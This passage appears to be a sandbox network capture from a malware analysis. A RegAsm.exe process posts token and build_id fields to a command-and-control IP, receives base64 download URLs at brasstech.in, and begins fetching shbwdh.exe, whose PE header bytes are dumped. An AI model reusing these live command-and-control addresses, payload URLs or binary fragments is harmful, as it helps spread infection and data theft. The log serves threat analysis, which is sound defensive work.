4e 79 2f 6a 67 66 6c 69 6c 2b 30 2b 47 2f 48 57 6e 78 70 64 6c 46 6e 6a 35 4d 4c 76 73 6c 68 62 75 50 63 66 70 58 79 74 47 55 56 47 45 32 72 71 Data Ascii: 0roKl5Oq/dWRgPpmsDxIAbCI9xKB+hrXLEkknJPWuf8RzgtDAD0y7f0/rX5NwzGVbOKTh0bforP/hj6jiGcaWWVObqkvndGFSc0tFftZ+RhRRRQB3usoL2fwZps3NtMfNkTsxSNSAfbk/nUnjXWdRt9T0zSNPu0sftZJe5fHAzgDPb/APVU2s6Xd3nhvR7/AE4btQ05Ip4k/vjaNy/jgflil+0+G/HWnxpdlFnj5MLvslhbuPcfpXytGUVGE2rq
2024-09-15 17:37:29 UTC	16355	OUT	Data Raw: 62 68 53 66 51 5a 70 65 31 56 62 69 2b 74 6f 53 38 55 6b 75 48 41 36 62 53 61 79 72 31 59 30 36 62 6c 4a 32 4e 61 45 4f 65 6f 6c 61 2b 70 36 46 2f 77 41 4b 34 66 38 41 36 43 36 2f 2b 41 76 2f 41 4e 6e 52 2f 77 41 4b 34 66 38 41 36 43 36 2f 2b 41 76 2f 41 4e 6e 57 6e 2f 77 73 62 77 6e 2f 41 4e 42 58 2f 77 41 6c 35 66 38 41 34 6d 6c 58 34 69 2b 46 47 59 4b 4e 57 47 53 63 63 77 53 67 66 2b 67 31 38 70 2f 61 47 49 2f 6e 50 75 76 71 57 57 2f 79 78 2b 38 35 2f 55 76 41 6b 31 68 5a 47 65 4c 55 46 6e 6b 33 78 78 72 48 35 47 7a 63 57 63 4b 4f 64 78 78 39 36 75 55 6b 6a 65 47 56 34 70 55 5a 4a 45 4f 31 6b 59 59 49 4e 65 79 36 74 44 4c 4e 59 67 51 78 6d 52 30 6d 68 6c 32 41 67 46 67 6b 69 73 51 4d 6b 44 4f 41 65 70 72 6d 66 45 32 6a 54 61 32 6f 75 4c 66 52 72 79 47 Data Ascii: bhSfQZpe1Vbi+toS8UkuHA6bSayr1Y06blJ2NaEOeola+p6F/wAK4f8A6C6/+Av/ANnR/wAK4f8A6C6/+Av/ANnWn/wsbwn/ANBX/wAl5f8A4mlX4i+FGYKNWGSccwSgf+g18p/aGI/nPuvqWW/yx+85/UvAk1hZGeLUFnk3xxrH5GzcWcKOdxx96uUkjeGV4pUZJEO1kYYINey6tDLNYgQxmR0mhl2AgFgkisQMkDOAeprmfE2jTa2ouLfRryG
2024-09-15 17:37:29 UTC	16355	OUT	Data Raw: 4f 67 6f 6f 4a 7a 39 4b 44 51 4d 39 46 6f 6f 6f 72 4d 2b 51 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 42 52 52 52 52 53 41 4b 4b 4b 4b 41 43 69 69 69 6d 41 55 55 55 55 41 46 46 46 46 41 43 55 55 55 55 41 46 46 4c 32 70 4b 41 43 69 69 69 67 42 4b 4b 57 69 67 59 6c 46 46 48 46 41 42 52 53 30 55 77 45 6f 70 61 4b 41 45 6f 70 61 4b 41 45 6f 6f 78 52 51 41 55 59 6f 35 6f 6f 41 4d 55 55 55 55 41 46 47 4b 4d 55 55 41 4a 52 53 2f 6a 52 78 36 30 58 47 4a 52 52 6b 55 6d 34 55 58 41 4d 55 55 6d 36 6a 63 61 51 57 48 55 6d 4b 54 4a 39 61 62 51 4f 77 2f 67 64 36 44 6a 31 70 6c 46 41 57 48 46 6c 70 4e 33 74 54 61 4b 4e 52 32 51 37 66 39 4b 54 63 66 57 6d 30 55 44 73 4c 6b 2b 74 4a 52 51 61 41 45 6f 6f 6f 70 6a 43 6b 6f 6f 6f 41 4b 4b 4b 51 30 44 43 Data Ascii: OgooJz9KDQM9FooorM+QCiiigAooooAKKKKACiiigBRRRRSAKKKKACiiimAUUUUAFFFFACUUUUAFFL2pKACiiigBKKWigYlFFHFABRS0UwEopaKAEopaKAEooxRQAUYo5ooAMUUUUAFGKMUUAJRS/jRx60XGJRRkUm4UXAMUUm6jcaQWHUmKTJ9abQOw/gd6Dj1plFAWHFlpN3tTaKNR2Q7f9KTcfWm0UDsLk+tJRQaAEooopjCkoooAKKKQ0DC
2024-09-15 17:37:29 UTC	16355	OUT	Data Raw: 68 4a 75 35 44 4c 32 32 34 36 59 37 35 2f 43 73 31 68 6f 78 71 4a 70 4b 36 31 36 48 71 53 71 4b 64 4e 71 57 7a 30 50 50 76 45 2b 67 77 36 46 50 62 72 44 4e 4a 49 73 71 73 66 6e 41 79 4d 59 39 50 72 57 44 58 61 66 45 50 2f 41 49 2b 62 44 2f 63 66 2b 59 72 69 36 2b 76 77 4e 53 56 54 44 78 6c 4a 33 66 38 41 77 54 38 39 7a 57 6c 43 6a 69 35 77 70 71 79 56 76 79 51 55 55 55 56 32 48 6e 68 52 52 52 51 42 37 56 70 66 2f 49 49 73 76 2b 76 65 50 2f 30 45 56 52 31 50 78 56 6f 65 6b 54 65 54 65 36 6a 46 48 4b 4f 71 4b 43 37 44 36 68 51 53 50 78 72 49 31 72 56 62 75 7a 38 4f 61 50 59 61 63 32 33 55 4e 52 57 4f 43 4a 2f 37 67 32 6a 63 33 34 5a 48 35 35 37 55 76 32 62 77 33 34 47 30 2b 4f 53 37 43 4e 50 4b 63 47 5a 30 33 79 79 74 33 50 73 50 30 72 35 47 6c 51 69 34 71 Data Ascii: hJu5DL2246Y75/Cs1hoxqJpK616HqSqKdNqWz0PPvE+gw6FPbrDNJIsqsfnAyMY9PrWDXafEP/AI+bD/cf+Yri6+vwNSVTDxlJ3f8AwT89zWlCji5wpqyVvyQUUUV2HnhRRRQB7Vpf/IIsv+veP/0EVR1PxVoekTeTe6jFHKOqKC7D6hQSPxrI1rVbuz8OaPYac23UNRWOCJ/7g2jc34ZH557Uv2bw34G0+OS7CNPKcGZ03yyt3PsP0r5GlQi4q
2024-09-15 17:37:29 UTC	443	OUT	Data Raw: 7a 49 4f 34 6b 59 4d 53 44 31 77 4d 38 69 73 75 2b 6c 6d 73 62 62 56 4e 45 75 4e 53 6a 6a 73 4e 54 6d 61 32 30 69 77 6c 6b 32 77 51 78 66 61 43 66 74 4c 66 77 6f 42 74 59 42 76 76 48 4a 50 54 6b 38 53 66 46 48 69 42 72 6d 61 35 62 58 64 54 4e 78 4e 48 35 55 73 70 75 35 4e 7a 70 2f 64 59 35 79 56 35 50 42 34 35 70 50 2b 45 6d 31 37 2b 7a 66 37 4e 2f 74 76 55 76 73 47 7a 79 2f 73 76 32 75 54 79 74 6e 39 33 5a 6e 47 50 62 46 46 68 33 4f 7a 2b 49 46 6c 48 61 65 44 76 44 38 46 6f 39 6d 39 6a 61 58 4e 7a 62 77 76 42 64 77 79 6d 55 59 6a 4a 63 37 47 50 4c 45 4d 54 2f 64 79 6f 4f 4f 4d 2b 62 31 4b 31 7a 4f 39 76 48 62 76 4e 49 30 45 54 4d 30 63 5a 59 6c 55 4a 78 6b 67 64 41 54 67 5a 2b 67 71 4b 6d 6c 59 52 4a 42 50 4e 61 33 45 64 78 62 79 76 44 4e 45 34 65 4f 53 Data Ascii: zIO4kYMSD1wM8isu+lmsbbVNEuNSjjsNTma20iwlk2wQxfaCftLfwoBtYBvvHJPTk8SfFHiBrma5bXdTNxNH5Uspu5Nzp/dY5yV5PB45pP+Em17+zf7N/tvUvsGzy/sv2uTytn93ZnGPbFFh3Oz+IFlHaeDvD8Fo9m9jaXNzbwvBdwymUYjJc7GPLEMT/dyoOOM+b1K1zO9vHbvNI0ETM0cZYlUJxkgdATgZ+gqKmlYRJBPNa3EdxbyvDNE4eOS
2024-09-15 17:37:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49745	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:31 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:31 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------HIIIEGDBKJKEBGCBAFCFCont
2024-09-15 17:37:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:32 UTC	139	IN	Data Raw: 38 30 0d 0a 4d 54 45 78 4e 7a 67 35 4d 6e 78 6f 64 48 52 77 63 7a 6f 76 4c 32 4a 79 59 58 4e 7a 64 47 56 6a 61 43 35 70 62 69 39 7a 61 47 4a 33 5a 47 67 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 54 45 33 4f 44 6b 7a 66 47 68 30 64 48 42 7a 4f 69 38 76 59 6e 4a 68 63 33 4e 30 5a 57 4e 6f 4c 6d 6c 75 4c 33 5a 75 5a 6d 52 68 62 57 5a 7a 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 80MTExNzg5MnxodHRwczovL2JyYXNzdGVjaC5pbi9zaGJ3ZGguZXhlfDF8a2tra3wxMTE3ODkzfGh0dHBzOi8vYnJhc3N0ZWNoLmluL3ZuZmRhbWZzLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49746	192.185.139.21	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:32 UTC	218	OUT	GET /shbwdh.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: brasstech.in Cache-Control: no-cache
2024-09-15 17:37:32 UTC	249	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 15 Sep 2024 13:50:40 GMT Accept-Ranges: bytes Content-Length: 212008 Content-Type: application/x-msdownload
2024-09-15 17:37:32 UTC	7943	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e8 e5 e6 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0a 03 00 00 0a 00 00 00 00 00 00 0e 29 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf) @@ `
2024-09-15 17:37:32 UTC	8000	IN	Data Raw: 67 b9 e3 80 f2 7f 9e 0a 28 9e f1 14 2b f4 05 ff fa 37 eb 9f d7 8c 12 94 c6 72 ef 28 42 e4 e5 b6 da 6b 50 54 c8 15 82 81 27 45 9a 77 0d ea 0a 16 fe 4e 80 4d b7 c2 b4 66 61 03 40 6e e9 54 ca c0 e7 df 13 1b 9b bc c6 b3 3c bd 60 e3 93 0a 75 6d 44 03 a3 d6 a6 3f 8e 78 7e e0 9f 5a f9 86 27 64 bf 0b 4f 40 98 a4 76 28 5e 4b f6 0c ad f3 30 2b 92 5a 82 fd b6 07 15 48 f0 cc b9 00 ef a0 c4 e5 cb 09 ed fb 68 8f 74 bb 74 e1 e7 32 41 b8 21 b1 ce e0 49 1c 4e c2 4e 6e 1d bf 98 e8 6e f4 19 71 a0 1f b3 b1 2e 0b fe 10 ad c6 8f 39 cd c6 91 37 d4 33 46 4b cb ed 75 66 10 a5 54 61 b7 3b b9 03 f8 7b d0 cb de 17 21 e5 c1 99 20 d7 f5 66 c0 1a cb 6e f1 7f 12 bd 0d a2 4e de 88 d7 a8 a5 11 c4 80 65 38 69 45 25 b5 02 a8 ba 95 67 21 05 2b 83 36 f1 bd 69 07 d2 6c 74 08 05 bf 4c b5 be 6f Data Ascii: g(+7r(BkPT'EwNMfa@nT<`umD?x~Z'dO@v(^K0+ZHhtt2A!INNnnq.973FKufTa;{! fnNe8iE%g!+6iltLo
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: 53 bd eb 58 93 27 d3 51 f8 8e 11 5d c0 2c 37 76 87 6f 5c 71 f6 6d f5 ea d1 cd b4 3e 4f 7f dd c0 e3 3d 1f c3 3a f2 58 3f 1b 61 28 a0 92 1b 4f ad 8b 31 b9 0b f2 17 45 f0 4b 43 79 37 fd 1c 9b c3 d4 09 ef b7 f3 36 7a 4b b4 dc 1c a9 16 9a dc 33 9b 7a c1 be 24 f2 93 9d 7b e0 48 74 88 87 fe 43 70 cc 1f cb b0 0c db 39 dc cb 44 e4 8b ac c6 f0 1c 15 cb d7 9d e3 08 49 04 81 2a 38 3d 7a 3b 6a fc dd 13 8b 55 ab 4f 69 ba cf 32 35 b3 ba bb d3 a9 8e e0 f7 22 b4 af ce 54 e0 a8 86 ca 03 3e 2d 4b d8 01 1a c9 30 d3 e4 38 38 3c b4 40 df 8f 96 b4 91 3c c6 73 b7 cc 13 a7 1d 0f fe 43 e1 41 80 8e df 65 b8 9e de 84 c8 53 31 c7 1b 96 7e 25 d7 5b 1d cf 23 81 75 56 9e f0 c0 0e 0e 44 5b 75 2a 58 be b4 fc 9d 62 5b 7c a1 81 18 a5 7c 68 89 cb a6 28 27 70 5c 55 8c dd 09 e1 99 77 04 2a 49 Data Ascii: SX'Q],7vo\qm>O=:X?a(O1EKCy76zK3z${HtCp9DI8=z;jUOi25"T>-K088<@<sCAeS1~%[#uVD[uXb[\|\|h('p\Uw*I
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: d1 be 11 01 cb 1a 73 65 7c a6 45 84 f6 7b 53 ee bb ae 3b 96 86 bd 35 06 dc 73 20 a8 1c 41 cb 25 45 b0 76 72 21 af 1c 35 20 b0 91 2e 77 38 db 7a 57 64 ae f4 ad 0e 2a 0f a1 33 60 ff 34 7d 3a 38 23 b6 40 c9 7f ca 8e b3 51 cb dc 2b cf a6 d9 e2 c8 6e 67 97 f2 2c 49 30 3a 35 7e 89 75 73 48 f2 70 8a c5 90 5b ca 2f f9 40 d2 1b d8 c4 cf 74 ac 14 28 e7 a2 cc 76 e0 91 55 28 84 4f 34 e6 ca 38 3c 23 22 15 ba a6 e9 b3 bf 78 04 ae b3 88 3c ed e7 1d 38 7f 3d e8 e9 b3 d8 49 cf 27 e6 18 85 6a b3 38 e6 c3 69 76 44 02 45 2e 74 99 0e fb 19 72 7c 4e 9c 57 7e 5e 61 b0 ca 35 f1 f1 1d c0 6a 03 c1 b6 95 c2 97 64 8c 7d 73 0c 52 7a fc e1 57 1d 95 54 51 62 72 d1 db e6 1d 1b 50 f2 d2 7e 38 e9 cf 7a 5e ec ed 09 8f 26 17 43 51 ce 34 b0 12 49 3a f4 27 e6 d7 d9 ee 0b f0 10 22 01 05 78 e5 Data Ascii: se\|E{S;5s A%Evr!5 .w8zWd*3`4}:8#@Q+ng,I0:5~usHp[/@t(vU(O48<#"x<8=I'j8ivDE.tr\|NW~^a5jd}sRzWTQbrP~8z^&CQ4I:'"x
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: 5e 30 41 f7 eb ea aa 15 6b 80 96 be ca f4 90 d5 71 f7 20 35 19 90 5b 2a f5 2d 3c f0 61 8f 3b c3 27 b3 74 56 ce db be d8 41 5b 78 49 4b 71 e2 57 e5 60 ff 8f bf 06 af 21 53 0a 59 40 73 be 7d a3 91 c8 f4 cb 87 72 33 96 61 f6 ee b6 fc 27 68 22 eb cf 9c aa ef 6a 8a 6b 48 ae dc 5a 75 16 8a 9f 3e 61 31 53 33 99 34 04 4a f0 c8 ae b1 b0 a5 83 6e f2 b6 8c 8f b6 ec 6c 0d 49 f7 a9 24 02 1e 33 c4 b5 b0 66 08 ff 3c bc 0a ef 88 cc 6e 2c 57 80 07 11 ef cc 90 bb 48 48 e1 a9 b1 c5 d5 88 6f 0e ab 1d 9b ec 56 cb 00 f8 34 f3 52 b7 2b 22 20 01 41 9e ca 77 13 a8 74 a3 de c8 91 ff c0 78 34 b2 15 ab 28 51 87 1c e0 9c 56 8e b6 51 81 16 ac df 49 a2 f0 68 eb 7f e9 34 00 b7 57 82 9e dd 2e de a4 3b e0 c0 6a 1e 17 e2 72 87 7f d7 6e 7b 93 de a5 8d 8e d5 31 40 0a 62 7f c1 7b 64 5a d5 af Data Ascii: ^0Akq 5[*-<a;'tVA[xIKqW`!SY@s}r3a'h"jkHZu>a1S34JnlI$3f<n,WHHoV4R+" Awtx4(QVQIh4W.;jrn{1@b{dZ
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: fe ec 54 4d d0 80 8e 94 9d ea 82 5e 7a 34 4b 4b ce 40 ce 8c d0 27 5d e6 45 65 93 ab 36 2e fb 25 31 bf cc 0b 3b 0a ee 89 a8 31 15 4f fe 6b a0 b4 47 dc 6d df fb 78 fe 8e 22 b3 7e ed be 81 e7 87 5f d9 b0 89 11 a5 d3 b1 2d 03 6b b7 39 63 d0 a0 d4 a8 de d3 df e2 36 1a b8 77 02 cf c2 df ff 8b b8 7b d8 47 75 75 60 e0 1c d4 6a 1b 04 07 77 30 e2 5d 24 b1 ce 71 e8 21 23 ca 95 b9 34 10 c1 17 05 cf 6d ce 79 6d 56 99 a0 67 a6 78 c2 5d 38 67 c5 de 1d 21 9e 34 57 2e 2b 2f 86 5a b1 a6 8a 8b 23 93 15 e6 5b 8f 78 83 1c 08 d7 7d 32 3c 87 a3 28 a0 c0 6f 95 ae a3 60 08 e0 71 5d 81 06 6a a0 3b c0 52 db 20 23 37 08 2a 3f 44 98 98 a1 d0 eb c6 cb ba a1 21 d4 e3 33 32 e1 fd db d9 1d 15 4e 9a 3f 17 f2 e0 a6 7c f5 6d ac 74 81 3b e8 20 3e e7 85 37 9c cf 91 09 67 bc 05 ed 45 48 bc ee Data Ascii: TM^z4KK@']Ee6.%1;1OkGmx"~_-k9c6w{Guu`jw0]$q!#4mymVgx]8g!4W.+/Z#[x}2<(o`q]j;R #7*?D!32N?\|mt; >7gEH
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: 15 73 ab f0 a8 aa 32 29 ba 7a fc a2 ca b0 92 b8 61 ae 90 8d 0d b2 bd 70 de 9f 85 79 91 8e 9c 46 95 bc 53 31 e2 8e 0e 23 bc d0 aa 1f 6e 59 f4 bc cd 5a 85 5f 5d 1e 47 8f 79 c1 65 a9 a9 84 f7 93 7b 46 fd 1c 13 f9 f3 91 43 04 92 d2 ab f6 d6 f4 21 a1 50 cb 8f 90 4e 3a a4 5c 94 4e b3 4d 2b 2a 46 ef 77 a0 3c c4 9e 46 ac e9 17 55 51 c1 11 ec 3f f2 0b 74 54 4a 8e 6b ac bb fc 3e 6d b7 92 5e 4b b7 12 c8 a5 ab 3b 84 7d 28 f4 13 a0 27 bd 78 c7 24 de dc f6 ed 60 d4 9b d0 dd b8 56 e8 73 ec 5e 25 ac 83 cb b6 46 1c 07 9b 0c 2f 8a 67 81 f9 af 4e 09 01 81 f5 df d9 91 b0 55 72 8a ec f6 35 7b 44 ca 1f f6 2f 23 01 0f 82 15 b6 0f 0c 2d dd 69 7c 2a 2c da 6c dc 9c b9 33 fd 0b f1 d3 08 43 29 10 72 89 89 ca 40 2f e2 4e 23 d5 34 ec ec 26 5b 15 69 fd 05 66 73 47 44 54 bb cd 16 a9 a3 Data Ascii: s2)zapyFS1#nYZ_]Gye{FC!PN:\NM+Fw<FUQ?tTJk>m^K;}('x$`Vs^%F/gNUr5{D/#-i\|,l3C)r@/N#4&[ifsGDT
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: 86 e1 fb 2a d9 1b 11 c6 c5 95 87 de 1b a8 54 b2 b7 74 24 96 f7 c4 f2 73 e7 9d 23 e7 e3 30 b6 dd 7c 0e 96 3e 94 c4 cb 55 26 0b a2 b8 95 5a c3 1b 28 47 9e 9b 1d e7 4b 05 f4 03 27 f8 d2 4a 75 cb f6 96 e7 ef 18 45 0f 41 4e a8 ad 14 13 b1 08 8c 50 9d 02 60 19 5f f5 6a 7f eb ca 50 13 91 c9 51 16 b1 d3 47 e4 06 60 1f 5a 5f 49 6f 04 a2 e8 ed 6c 6b c0 a7 b5 6b 05 48 7c 8a c9 87 02 da 00 59 68 01 51 4e 06 3a 3d e3 ee a3 64 d4 00 16 ce 83 2f 09 be 7f 29 75 d3 87 0d d1 39 b0 21 23 9c 23 4c 72 3b db 8a bf 7a 9c 5c ed 31 3b f0 f9 1c 94 bd 24 9f 3b 37 cc f5 0e c6 c1 cf 3b 08 88 c1 5e 43 7c f3 33 7c f1 ea 54 84 b3 08 11 23 1a f1 99 aa 76 32 02 7c e6 eb 9e 21 21 74 52 9f fc ac 90 54 8e 07 01 af 82 4d 79 86 44 f2 d3 57 be 3d 98 71 16 3e 5f 29 9d 75 df e6 40 3e 6b ea 65 a4 Data Ascii: *Tt$s#0\|>U&Z(GK'JuEANP`_jPQG`Z_IolkkH\|YhQN:=d/)u9!##Lr;z\1;$;7;^C\|3\|T#v2\|!!tRTMyDW=q>_)u@>ke
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: 03 39 f3 8a 24 2b aa af ec 35 61 6b b8 0f 83 bd 7f 13 3d 08 98 f0 39 41 bc 6f 24 ba b0 75 aa 06 fe bc ff 85 93 2e 07 78 5f 8d ca 6e ce 8f 4e 09 57 30 2c fc a0 0e 4e cb 2e 75 0e d1 84 e1 e8 5f 57 54 4c e3 5b 72 0a d8 e0 a5 ca 09 ec d0 4d 19 2c a8 42 6b c0 d6 0f 1b 7c dc 7a 91 57 e6 99 a9 d2 32 e7 56 18 7e 73 d3 07 85 c6 a6 4c 1e e9 47 d0 f9 88 a8 8e 53 d9 af 92 f8 33 26 95 73 73 91 0d 94 72 e3 a3 4d 53 2f 55 c3 95 02 08 a5 56 2b a5 5d 1b d6 fb 65 b0 46 ce ba 77 40 f6 1c 75 2c 35 63 10 15 15 aa d9 ae 38 52 c2 38 9e b3 6f 93 3b e3 35 db a2 ce e8 1a 54 a9 cc cd 68 2c 0c 86 66 d4 fb 74 9e d9 0f ca 5d dd ce 2d d2 02 da 2a 3b f1 a9 ed 62 13 8a 87 ff f1 55 29 57 59 6b d3 d2 71 cf 39 05 cd 11 06 b5 89 ab dc ce 80 37 3d fb 61 87 dc 10 e3 6a 4f f1 15 b9 60 87 03 15 Data Ascii: 9$+5ak=9Ao$u.x_nNW0,N.u_WTL[rM,Bk\|zW2V~sLGS3&ssrMS/UV+]eFw@u,5c8R8o;5Th,ft]-*;bU)WYkq97=ajO`
2024-09-15 17:37:33 UTC	8000	IN	Data Raw: 66 6a ce c4 9b 1a a3 58 73 da 66 47 6d df 9c 2f eb cc cf 82 55 1a 27 6a 68 82 ed 3d d1 40 6a 9d e5 24 fa e4 42 68 42 75 30 c9 b8 ed a8 60 3f 48 20 9d 10 11 4e ed 1c 4a 7f 4e 00 03 6b 88 89 ed 91 8e da 59 00 c4 7e 24 2e b6 79 8e 74 40 59 bb 3b 24 12 f8 cd 7e 25 06 7c 61 93 30 f5 42 2e cd 31 82 92 eb f2 d3 0f 1c 8c d3 3d a6 42 b9 f8 d2 25 7f 3e 06 ef 09 ea 33 26 fd 5c e5 6d 24 56 08 59 fa 6c b1 94 a7 45 24 ae 18 98 2b 40 8a 2c 0b e0 c2 b1 e4 89 dd f4 f7 0b 8c 9d 7f 1e 6a c0 22 bf b1 4c f9 30 a1 6e a1 0d fb 1b f4 3d 09 fd fa f8 88 3a 2f 40 4e 7f 4c 9b c2 e5 b5 00 57 9f 19 86 4e 70 e3 25 40 1c 73 cc 24 a9 21 b0 b2 d8 59 cd 10 85 f6 8d 4c 52 83 93 d3 e0 42 b2 65 3d 7f 14 15 a0 72 3e 92 1b 84 c5 2e 9c 49 1d 01 21 c7 2f 44 96 3e d3 d4 0a ba 1f 1f 68 ae fa 35 3d Data Ascii: fjXsfGm/U'jh=@j$BhBu0`?H NJNkY~$.yt@Y;$~%\|a0B.1=B%>3&\m$VYlE$+@,j"L0n=:/@NLWNp%@s$!YLRBe=r>.I!/D>h5=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49747	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:34 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:34 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------JEBGIIDBKEBFBGCAEBAKCont
2024-09-15 17:37:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:34 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49749	192.185.139.21	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
